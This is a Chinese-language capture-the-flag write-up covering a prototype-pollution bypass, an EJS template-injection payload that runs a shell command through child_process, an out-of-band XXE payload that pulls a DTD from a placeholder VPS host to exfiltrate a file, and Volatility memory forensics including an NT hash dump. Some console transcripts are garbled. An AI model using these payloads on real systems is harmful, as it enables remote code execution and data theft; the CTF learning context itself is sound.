WriteUp By JBNRZ 22270529 week4

Web

Shared Diary

考点原型链污染,第一次做,感觉还是有点奇妙

```
function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
```

这里过滤了 __proto__, 但是可以用 constructor.prototype

```
> let data = {}
\ undefined
> let body = JSON.parse('{"constructor":{"prototype":{"role":"admin"}}}')
< undefined</p>
> function merge(target, source) {
      for (let key in source) {
           // Prevent prototype pollution
           if (key === '__proto__') {
    throw new Error("Detected Prototype Pollution")
           if (key in source && key in target) {
               merge(target[key], source[key])
            else {
               target[key] = source[key]
      }
< undefined</p>
> merge(data, body)
< undefined</p>
> data
< ▶ {}
> data.role
< 'admin'
```

根据条件, 还需要满足 data data.username

```
> let data = {}
< undefined
> let body = JSON.parse('{"constructor":{"prototype":{"role":"admin","data":{"username":"admin"}}}}')
> function merge(target, source) {
       for (let key in source) {
   // Prevent prototype pollution
   if (key === '__proto__') {
                 (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
            if (key in source && key in target) {
   merge(target[key], source[key])
                 target[key] = source[key]
< undefined
> merge(data, body)
< undefined
< ▶ {username: 'admin'}</pre>
> data.data.username
< 'admin'
> data.role
> let user = {}
< undefined
> user.role
< 'admin'
```

然后改包, 记得将 Content-type -> application/json

登陆后是一个 ejs 的 ssti

找个payload

```
<%="pwnd".toString.constructor.call({},"return global.process.mainModule.c
onstructor._load('child_process').execSync('cat /flag').toString()")()%>
```

hgame{N0tice_prototype_pollution&&EJS_server_template_injection}

Tell me

xxe 漏洞,看得莫名其妙的,关键代码

没有回显, 网上搜个外带的payload

```
1 <!DOCTYPE test [
```

```
2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource
=./flag.php">
3 <!ENTITY % aaa SYSTEM "http://VPS-IP:9999/test.dtd">
4 %aaa;
5 ]>
6 <user><name>a</name><email>a</email><content>a</content></user>
```

vps 上部署, python3 -m http.server 9999 启动

MISC

ezWin

得用 vol3, vol2 老报错

variables: 直接搜字符串,或者把 notepad 进程dump出来,里面也有。hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}

auth: cmdline | grep flag 看到

```
L$ python3 vol.py  
-f ../win10 22h2 19045.2486.vmem cmdline | grep flag
7540ressnotepad.exe
7584 7zFM.exe  
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Noname\Desktop\flag
"C:\Users\Noname\Desktop\flag
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Noname\Desktop\flag.7z"
```

查看当前的用户密码 hashdump

```
      (kali⊗ kali)-[~/Desktop/volatility3-1.0.0]

      $ python3 vol.py
      -f ../win10 22h2 19045.2486.vmem hashdump

      Volatility 3 Framework 1.0.0
      PDB scanning finished

      User rid lmhash nthash
      User rid lmhash nthash

      Administrator 500 aad3b435b51404eeaad3b435b51404ee
      31d6cfe0d16ae931b73c59d7e0c089c0

      Guest 501 aad3b435b51404eeaad3b435b51404ee
      31d6cfe0d16ae931b73c59d7e0c089c0

      DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee
      31d6cfe0d16ae931b73c59d7e0c089c0

      WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee
      c4b2cf9cac4752fc9b030b8ebc6faac3

      Noname 1000 aad3b435b51404eeaad3b435b51404ee
      84b0d9c9f830238933e7131d60ac6436
```

flag2: hgame{84b0d9c9f830238933e7131d60ac6436}

7.zip把发现的 flag.7z dump出来

```
(kali@kali)-[~/Desktop/volatility3-1.0.0]

$ python3 vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem dumpfiles --virtaddr 0×d0064181c950

Volatility 3 Framework 1.0.0

Progress: 100.00

PDB scanning finished

Cache FileObject FileName Result

DataSectionObject 0×d0064181c950 flag.7z Error dumping file

SharedCacheMap 0×d0064181c950 flag.7z file.0×d0064181c950.0×d0064189aa20.SharedCacheMap.flag.7z.vacb
```

密码是用户的密码, cmd5 爆破 nt_hash: asdqwe123

解压得到 flag: hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}